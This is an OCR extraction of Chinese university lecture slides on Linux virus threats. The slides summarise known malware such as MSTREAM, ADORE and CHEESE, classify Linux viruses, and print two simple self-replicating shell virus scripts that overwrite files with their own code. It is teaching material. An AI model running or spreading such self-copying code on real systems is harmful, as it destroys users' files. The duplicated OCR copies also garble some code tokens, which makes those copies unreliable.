上游充通大学 SHANGHAI JLAO TONG UNIVERSITY ① MSTREAM.MST:A DDoS agent.It will open TCP port 6732 and UDP port 9325.Create master and server files. © ADORE.A:A internet worm.Overwrite /bin/ps.VExecutes ICMP,and opens port 65535.BIND,wu-ftpd,rpc.statd,Ipd. CHEESE.A:Include"GO"shell script,CHEESE"perl script,and "PSM" ELF.shell script GO runs perl script CHEESE.Delete all /bin/sh in /etc/inetd.conf.Close inetd. QUASI:It will infect ELF files in the current directory.It has no destructiveness. PASS:It is writed by GNU C.It will change Unix shell. 信息安全工程学院
信息安全工程学院 MSTREAM.MST : A DDoS agent. It will open TCP port 6732 and UDP port 9325. Create master and server files. ADORE.A: A internet worm. Overwrite /bin/ps.VExecutes ICMP, and opens port 65535. BIND, wu-ftpd, rpc.statd, lpd. CHEESE.A: Include "GO" shell script, CHEESE“ perl script, and “PSM” ELF.shell script GO runs perl script CHEESE. Delete all /bin/sh in /etc/inetd.conf. Close inetd. QUASI: It will infect ELF files in the current directory. It has no destructiveness. PASS: It is writed by GNU C. It will change Unix shell
上游充廷大学 SHANGHAI JLAO TONG UNIVERSITY Linux病毒分类 第一种:Shell脚本病毒 ©第二种:蠕虫病毒 第三种:欺骗库函数 ©第四种:内核级的传播 第五种:与平台兼容的病毒 信息安全工程学院
信息安全工程学院 Virus Threats on Linux Environment Triple Linux病毒分类 第一种: Shell脚本病毒 第二种: 蠕虫病毒 第三种: 欺骗库函数 第四种: 内核级的传播 第五种: 与平台兼容的病毒
上游充通大学 Linux系统下的脚本病毒 SHANGHAI JLAO TONG UNIVERSITY she在不同的Linux系统上面的差别很小。 Shel简单易学。 信息安全工程学院
信息安全工程学院 Linux系统下的脚本病毒 shell在不同的Linux系统上面的差别很小。 Shell简单易学
上游充廷大学 第一,最原始的shel川病毒。 SHANGHAI JLAO TONG UNIVERSITY #shellvirus l# for file in ./infect/* 国do cp $0 Sfile done 信息安全工程学院
信息安全工程学院 第一,最原始的shell病毒。 #shellvirus I# for file in ./infect/* do cp $0 $file done
上游文通大¥ SHANGHAI JLAO TONG UNIVERSITY 第二,一个简单的Shell,病毒 © #shellvirus ll# 国 for file in ./infect/* do © if test -f Sfile 判断是否为文件 then if test -x Sfile #判断是否可执行 then @ if test -w $file #判断是否有写权限 国 then © if grep-ssh$file>.mmm#判断是否为脚本文件 国 then 国 cp $0 Sfile #覆盖当前文件 fi © fi fi ⊕ fi 国 done rm .mmm-f 信息安全工程学院
信息安全工程学院 第二,一个简单的Shell病毒 #shellvirus II# for file in ./infect/* do if test -f $file #判断是否为文件 then if test -x $file #判断是否可执行 then if test -w $file #判断是否有写权限 then if grep –s sh $file > .mmm #判断是否为脚本文件 then cp $0 $file #覆盖当前文件 fi fi fi fi done rm .mmm -f